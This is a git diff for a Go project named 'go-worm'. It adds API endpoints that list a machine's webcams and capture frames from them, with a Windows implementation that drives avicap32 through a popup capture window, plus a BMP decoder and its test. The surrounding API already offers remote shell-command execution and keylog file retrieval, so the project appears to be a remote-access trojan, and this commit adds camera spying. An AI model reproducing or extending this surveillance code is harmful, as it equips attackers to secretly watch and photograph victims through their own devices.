diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go
index 2e50022..2df29f5 100644
--- a/lib/openapi/spec.go
+++ b/lib/openapi/spec.go
@@ -166,6 +166,42 @@ func Spec() map[string]any {
}),
},
},
+ "/api/v1/webcam": map[string]any{
+ "get": map[string]any{
+ "summary": "List webcams",
+ "operationId": "listWebcams",
+ "responses": auth(map[string]any{
+ "200": okJSON("Connected capture devices", ref("WebcamList")),
+ "503": errResp("Webcam enumeration failed"),
+ }),
+ },
+ },
+ "/api/v1/webcam/frame": map[string]any{
+ "get": map[string]any{
+ "summary": "Capture a webcam frame",
+ "operationId": "webcamFrame",
+ "parameters": []map[string]any{
+ {"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"},
+ {"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}},
+ {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
+ },
+ "responses": auth(map[string]any{
+ "200": map[string]any{
+ "description": "Webcam frame",
+ "headers": map[string]any{
+ "X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
+ "X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
+ },
+ "content": map[string]any{
+ "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
+ "image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
+ },
+ },
+ "400": errResp("Invalid parameters or device"),
+ "503": errResp("Webcam capture failed"),
+ }),
+ },
+ },
"/api/v1/exec": map[string]any{
"post": map[string]any{
"summary": "Run a shell command",
@@ -403,6 +439,20 @@ func Spec() map[string]any {
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
},
},
+ "WebcamDevice": map[string]any{
+ "type": "object",
+ "properties": map[string]any{
+ "index": map[string]any{"type": "integer"},
+ "name": map[string]string{"type": "string"},
+ "version": map[string]string{"type": "string"},
+ },
+ },
+ "WebcamList": map[string]any{
+ "type": "object",
+ "properties": map[string]any{
+ "devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
+ },
+ },
},
},
}
diff --git a/lib/webcam/bmp.go b/lib/webcam/bmp.go
new file mode 100644
index 0000000..c7ac77a
--- /dev/null
+++ b/lib/webcam/bmp.go
@@ -0,0 +1,71 @@
+package webcam
+
+import (
+ "bytes"
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "image"
+ "image/jpeg"
+ "image/png"
+)
+
+func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
+ var buf bytes.Buffer
+ if format == "jpeg" {
+ err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
+ return buf.Bytes(), "image/jpeg", err
+ }
+ err := png.Encode(&buf, img)
+ return buf.Bytes(), "image/png", err
+}
+
+func decodeBMP(data []byte) (*image.RGBA, error) {
+ if len(data) < 54 || data[0] != 'B' || data[1] != 'M' {
+ return nil, errors.New("invalid bitmap")
+ }
+ offset := binary.LittleEndian.Uint32(data[10:14])
+ width := int(int32(binary.LittleEndian.Uint32(data[18:22])))
+ heightSigned := int32(binary.LittleEndian.Uint32(data[22:26]))
+ bits := binary.LittleEndian.Uint16(data[28:30])
+ compression := binary.LittleEndian.Uint32(data[30:34])
+ if compression != 0 {
+ return nil, fmt.Errorf("unsupported bmp compression %d", compression)
+ }
+ if bits != 24 && bits != 32 {
+ return nil, fmt.Errorf("unsupported bmp bit depth %d", bits)
+ }
+ topDown := heightSigned < 0
+ height := int(heightSigned)
+ if height < 0 {
+ height = -height
+ }
+ if width <= 0 || height <= 0 || int(offset) >= len(data) {
+ return nil, errors.New("invalid bmp dimensions")
+ }
+ bpp := int(bits / 8)
+ rowSize := (width*bpp + 3) &^ 3
+ need := int(offset) + rowSize*height
+ if need > len(data) {
+ return nil, errors.New("truncated bmp")
+ }
+ img := image.NewRGBA(image.Rect(0, 0, width, height))
+ for y := 0; y < height; y++ {
+ srcY := y
+ if !topDown {
+ srcY = height - 1 - y
+ }
+ row := data[int(offset)+srcY*rowSize:]
+ for x := 0; x < width; x++ {
+ i := x * bpp
+ b, g, r := row[i], row[i+1], row[i+2]
+ a := byte(255)
+ if bpp == 4 {
+ a = row[i+3]
+ }
+ off := (y*width + x) * 4
+ img.Pix[off], img.Pix[off+1], img.Pix[off+2], img.Pix[off+3] = r, g, b, a
+ }
+ }
+ return img, nil
+}
diff --git a/lib/webcam/bmp_test.go b/lib/webcam/bmp_test.go
new file mode 100644
index 0000000..6748d4c
--- /dev/null
+++ b/lib/webcam/bmp_test.go
@@ -0,0 +1,50 @@
+package webcam
+
+import "testing"
+
+func TestDecodeBMP_roundtripRGB(t *testing.T) {
+ // 2x2 24-bit BI_RGB bottom-up BMP
+ row := []byte{
+ 0, 0, 255, // BGR red
+ 0, 255, 0, // green
+ 0, 0, // pad to 4-byte boundary: 6 bytes -> pad 2
+ }
+ row2 := []byte{
+ 255, 0, 0, // blue
+ 255, 255, 255, // white
+ 0, 0,
+ }
+ pixelData := append(append([]byte{}, row2...), row...) // bottom row first
+ header := make([]byte, 54)
+ header[0], header[1] = 'B', 'M'
+ binaryPutUint32 := func(b []byte, v uint32) {
+ b[0] = byte(v)
+ b[1] = byte(v >> 8)
+ b[2] = byte(v >> 16)
+ b[3] = byte(v >> 24)
+ }
+ binaryPutUint16 := func(b []byte, v uint16) {
+ b[0] = byte(v)
+ b[1] = byte(v >> 8)
+ }
+ fileSize := uint32(54 + len(pixelData))
+ binaryPutUint32(header[2:], fileSize)
+ binaryPutUint32(header[10:], 54)
+ binaryPutUint32(header[14:], 40) // DIB header size
+ binaryPutUint32(header[18:], 2) // width
+ binaryPutUint32(header[22:], 2) // height (bottom-up)
+ binaryPutUint16(header[26:], 1) // planes
+ binaryPutUint16(header[28:], 24) // bpp
+
+ img, err := decodeBMP(append(header, pixelData...))
+ if err != nil {
+ t.Fatal(err)
+ }
+ if img.Bounds().Dx() != 2 || img.Bounds().Dy() != 2 {
+ t.Fatalf("size = %v", img.Bounds())
+ }
+ r, g, b, _ := img.At(0, 0).RGBA()
+ if r>>8 != 255 || g>>8 != 0 || b>>8 != 0 {
+ t.Fatalf("pixel 0,0 = %d,%d,%d want red", r>>8, g>>8, b>>8)
+ }
+}
diff --git a/lib/webcam/webcam_stub.go b/lib/webcam/webcam_stub.go
new file mode 100644
index 0000000..6b4f783
--- /dev/null
+++ b/lib/webcam/webcam_stub.go
@@ -0,0 +1,25 @@
+//go:build !windows
+
+package webcam
+
+import (
+ "errors"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var ErrDeviceNotFound = errors.New("webcam not found")
+
+type Device struct {
+ Index int `json:"index"`
+ Name string `json:"name"`
+ Version string `json:"version,omitempty"`
+}
+
+func List() ([]Device, error) {
+ return nil, errors.New("webcam is only available on Windows")
+}
+
+func Capture(index int, format string, quality int) (models.CapturedImage, error) {
+ return models.CapturedImage{}, errors.New("webcam is only available on Windows")
+}
diff --git a/lib/webcam/webcam_windows.go b/lib/webcam/webcam_windows.go
new file mode 100644
index 0000000..2f99508
--- /dev/null
+++ b/lib/webcam/webcam_windows.go
@@ -0,0 +1,170 @@
+//go:build windows
+
+package webcam
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "path/filepath"
+ "sync"
+ "syscall"
+ "unsafe"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices.
+
+var ErrDeviceNotFound = errors.New("webcam not found")
+
+var (
+ avicap32 = syscall.NewLazyDLL("avicap32.dll")
+ user32 = syscall.NewLazyDLL("user32.dll")
+ procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW")
+ procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
+ procSendMessageW = user32.NewProc("SendMessageW")
+ procDestroyWindow = user32.NewProc("DestroyWindow")
+ captureMu sync.Mutex
+)
+
+const (
+ wmUser = 0x0400
+ wmCapStart = wmUser
+ wmCapUnicodeStart = wmUser + 100
+ wmCapDriverConnect = wmCapStart + 10
+ wmCapDriverDisconnect = wmCapStart + 11
+ wmCapFileSaveDIBW = wmCapUnicodeStart + 25
+ wmCapGrabFrame = wmCapStart + 60
+ wmCapSetPreview = wmCapStart + 50
+ wmCapSetScale = wmCapStart + 53
+ wsPopup = 0x80000000
+ maxDrivers = 10
+)
+
+type Device struct {
+ Index int `json:"index"`
+ Name string `json:"name"`
+ Version string `json:"version,omitempty"`
+}
+
+func List() ([]Device, error) {
+ var out []Device
+ for i := 0; i < maxDrivers; i++ {
+ nameBuf := make([]uint16, 128)
+ verBuf := make([]uint16, 128)
+ ok, _, _ := procCapGetDriverDescriptionW.Call(
+ uintptr(i),
+ uintptr(unsafe.Pointer(&nameBuf[0])),
+ uintptr(len(nameBuf)),
+ uintptr(unsafe.Pointer(&verBuf[0])),
+ uintptr(len(verBuf)),
+ )
+ if ok == 0 {
+ continue
+ }
+ name := syscall.UTF16ToString(nameBuf)
+ if name == "" {
+ continue
+ }
+ out = append(out, Device{
+ Index: i,
+ Name: name,
+ Version: syscall.UTF16ToString(verBuf),
+ })
+ }
+ return out, nil
+}
+
+func Capture(index int, format string, quality int) (models.CapturedImage, error) {
+ captureMu.Lock()
+ defer captureMu.Unlock()
+
+ devices, err := List()
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ found := false
+ for _, d := range devices {
+ if d.Index == index {
+ found = true
+ break
+ }
+ }
+ if !found {
+ return models.CapturedImage{}, ErrDeviceNotFound
+ }
+
+ title, err := syscall.UTF16PtrFromString("win64_mp_webcam")
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
+ uintptr(unsafe.Pointer(title)),
+ wsPopup,
+ 0, 0, 320, 240,
+ 0, 0,
+ )
+ if hwnd == 0 {
+ return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
+ }
+ defer procDestroyWindow.Call(hwnd)
+
+ ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
+ if ok == 0 {
+ return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index)
+ }
+ defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0)
+
+ _, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0)
+ _, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0)
+ ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0)
+ if ok == 0 {
+ return models.CapturedImage{}, errors.New("grab frame failed")
+ }
+
+ tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp")
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ tmpPath := tmp.Name()
+ _ = tmp.Close()
+ defer os.Remove(tmpPath)
+
+ pathPtr, err := syscall.UTF16PtrFromString(tmpPath)
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr)))
+ if ok == 0 {
+ // Some drivers only accept ANSI SAVEDIB.
+ ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath))
+ if err != nil {
+ return models.CapturedImage{}, errors.New("save frame failed")
+ }
+ ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath)))
+ if ok == 0 {
+ return models.CapturedImage{}, errors.New("save frame failed")
+ }
+ }
+
+ raw, err := os.ReadFile(tmpPath)
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ img, err := decodeBMP(raw)
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ data, contentType, err := encodeImage(img, format, quality)
+ if err != nil {
+ return models.CapturedImage{}, err
+ }
+ b := img.Bounds()
+ return models.CapturedImage{
+ ContentType: contentType,
+ Data: data,
+ Width: b.Dx(),
+ Height: b.Dy(),
+ }, nil
+}